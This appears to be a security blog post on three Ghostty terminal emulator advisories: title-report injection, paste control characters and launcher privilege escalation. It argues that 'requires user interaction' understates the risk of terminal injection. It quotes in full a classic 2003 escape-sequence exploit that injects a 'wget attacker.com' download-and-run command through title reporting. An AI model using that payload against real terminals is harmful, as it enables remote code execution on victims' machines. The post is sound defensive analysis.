Skip to content
PKM Blog
Go back

Ghostty: The 'Harmless' Prompt Injection

Edit page .md

Ghostty shipped its first public release in December 2024. Within days, its first security advisory followed: an attacker could inject text into your shell prompt by sending a crafted escape sequence, and when you pressed Enter, arbitrary commands would run. The fix was straightforward. The advisory’s framing was instructive:

“This attack requires an attacker to send malicious escape sequences followed by convincing the user to physically press the ‘enter’ key. I’m not aware of attacks that do not require user interaction.”

Requires user interaction. Noted. Let’s come back to that.


What “Prompt Injection” Means in a Terminal

The term “prompt injection” has been colonised by the LLM world, but it predates AI by decades. In terminal security, prompt injection is the attack class where malicious content — in a file, a log, a server response — causes text to appear on your shell’s command line without you typing it. You press Enter (because you think the prompt is empty, or you’re confirming something innocuous), and a command runs.

The mechanism is ANSI escape sequences. Every terminal emulator processes a standardised vocabulary of control codes embedded in byte streams: move cursor, set color, change title, query state. Most are harmless. Some echo data back to the terminal’s input buffer. Those are the dangerous ones.

The classic exploit, documented by HD Moore in 2003, looked like this:

echo -e "\e]2;;wget attacker.com/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"

This sets the window title to a shell command, then uses CSI 21 t to ask the terminal to report that title back — which the terminal does by writing it directly into the input buffer. The user sees Press Enter> (the rest is invisible due to SGR 8, which sets text color to transparent) and presses Enter. A downloader runs.

Nearly all terminals responded by disabling title reporting by default. That was 2003. The pattern keeps repeating.


Ghostty’s Three Advisories

GHSA-5hcq-3j4q-4v6p — Window Title Injection (December 2024)

The first Ghostty release shipped with CSI 21 t (title reporting) enabled by default. The vulnerability was textbook: an attacker embeds an escape sequence in a file. When you cat it, less it, or view it through any tool that doesn’t strip escape codes, Ghostty writes the attacker’s payload to your input buffer. If that payload ends with a newline, command execution is automatic. If it doesn’t — as in Ghostty’s case — the user has to press Enter.

Severity: Medium. Fixed in v1.0.1 via a new title_report config option, defaulting to false. The advisory notes the option “remains available for compatibility reasons.”

The “user must press Enter” condition is the standard fig leaf for classifying terminal injection as non-critical. But consider what this means in practice: the attacker controls what appears on your command line, invisibly, and waits for you to confirm. A carefully timed injection during a session where you’re rapidly confirming a build sequence isn’t a theoretical risk.

GHSA-4jxv-xgrp-5m3r — Control Characters in Paste and Drag-and-Drop (March 2026)

Fixed in v1.3.0, this advisory is subtler. Ghostty allowed control characters — including 0x03 (Ctrl+C) and, critically, 0x0d (carriage return, the Enter key) — to pass unfiltered through paste and drag-and-drop operations.

An attacker who can get malicious text onto your clipboard (via a web page, a document, a Slack message) can embed a carriage return. When you paste it into your terminal, the text before the CR executes immediately. You never pressed Enter. You pasted what looked like a safe string.

The advisory confirms only Bash and Zsh were affected in testing; Fish and Nu were resilient. Both affected shells are the dominant choices for developers.

Severity: Medium. Fixed in v1.3.0. The fix follows xterm’s approach: replace problematic control characters with spaces, preserving non-problematic ones like tabs.

GHSA-q9fg-cpmh-c78x — Ghostty as a Privilege Escalation Vector (September 2025)

This one is structurally different. If a compromised or malicious application can invoke Ghostty (via macOS open -a Ghostty <executable> or NSWorkspace), the launched process inherits Ghostty’s permissions — which, as a terminal with full disk access, are expansive.

Ghostty’s advisory is candid about its classification: “This is considered a low risk advisory and no CVE is going to be assigned.” The reasoning: it requires a vulnerable application outside Ghostty to initiate the chain.

Severity: Low. Fixed in v1.2.0 — Ghostty now requires explicit permission before executing any script or binary.


The “Requires User Interaction” Problem

The phrase appears in two of three advisories. It’s doing a lot of work.

“User interaction” in terminal injection typically means one of:

  1. The user views output containing escape sequences (opening a file, running a command, reading logs)
  2. The user pastes text they copied from somewhere
  3. The user presses Enter

These are not exotic scenarios. They are the core operations of using a terminal. A developer runs git log, reads build output, pastes a dependency version, and presses Enter hundreds of times per session. The “user must interact” condition isn’t a meaningful security barrier — it’s the baseline of normal work.

David Leadbeater’s 2023 research documented 10 CVEs across major terminal emulators, all in this same class. His observation is worth quoting directly:

“Often these terminal issues, while they are clearly serious, are not treated with the severity a web browser bug or other issue that clearly is immediately exposed to untrusted data. It should be remembered that a terminal does still deal with untrusted data, even if there is another layer of defence that programs outputting to them should escape data.”

The browser analogy is exact. Nobody says “this XSS attack is low severity because the user has to click a link.” The terminal gets away with it because the terminal is perceived as a trusted environment — your environment — where you control what runs. That perception is wrong.


Why Terminals Are a High-Value Target

Developers are the primary users of terminal emulators. Developer machines have:

Compromising a developer’s terminal session during normal work — not via malware installation, just via an escape sequence in a log file they open — is a supply chain attack with enormous reach. The 2021 kubectl vulnerability (CVE-2021-25743, unfixed for years because Kubernetes didn’t consider it serious) illustrated this: an attacker with write access to Kubernetes error messages could inject into the terminal of any admin running kubectl.

Ghostty’s three advisories aren’t evidence that Ghostty is insecure. They’re evidence that its maintainers are taking security seriously enough to disclose and fix issues that other projects would silently ignore. The first advisory was fixed within days of launch. The paste-injection fix in v1.3.0 arrived with a clear explanation of the threat model.

The problem isn’t Ghostty specifically. It’s the industry-wide tendency to classify terminal injection as “low severity” until someone demonstrates a chain that achieves code execution without pressing Enter.


What You Should Do

If you use Ghostty:

If you build tools that output to terminals:

If you maintain a terminal emulator:


The Broader Pattern

Ghostty’s advisories form a tight sequence: title reporting enabled → paste injection possible → privilege escalation via launcher. Each was classified “medium” or “low.” Each required some form of user action. Each was, in isolation, arguable as “harmless.”

Together, they describe something different: a terminal that, when encountered by a user doing normal work with untrusted content, could execute arbitrary commands or escalate privileges. The attack doesn’t require the user to do anything wrong. It requires the user to use the terminal.

Calling that “harmless” misunderstands the threat model. Terminals live at the intersection of trusted tooling and untrusted content. Every file you open in a terminal, every server whose logs you tail, every website whose content you paste — these are untrusted. The terminal’s job is not to trust them. And when it does, “user interaction required” is not a mitigation. It’s just a description of the attack.


Edit page
Share this post:

Next Post
Hermes Agent and the Search Provider Attack Surface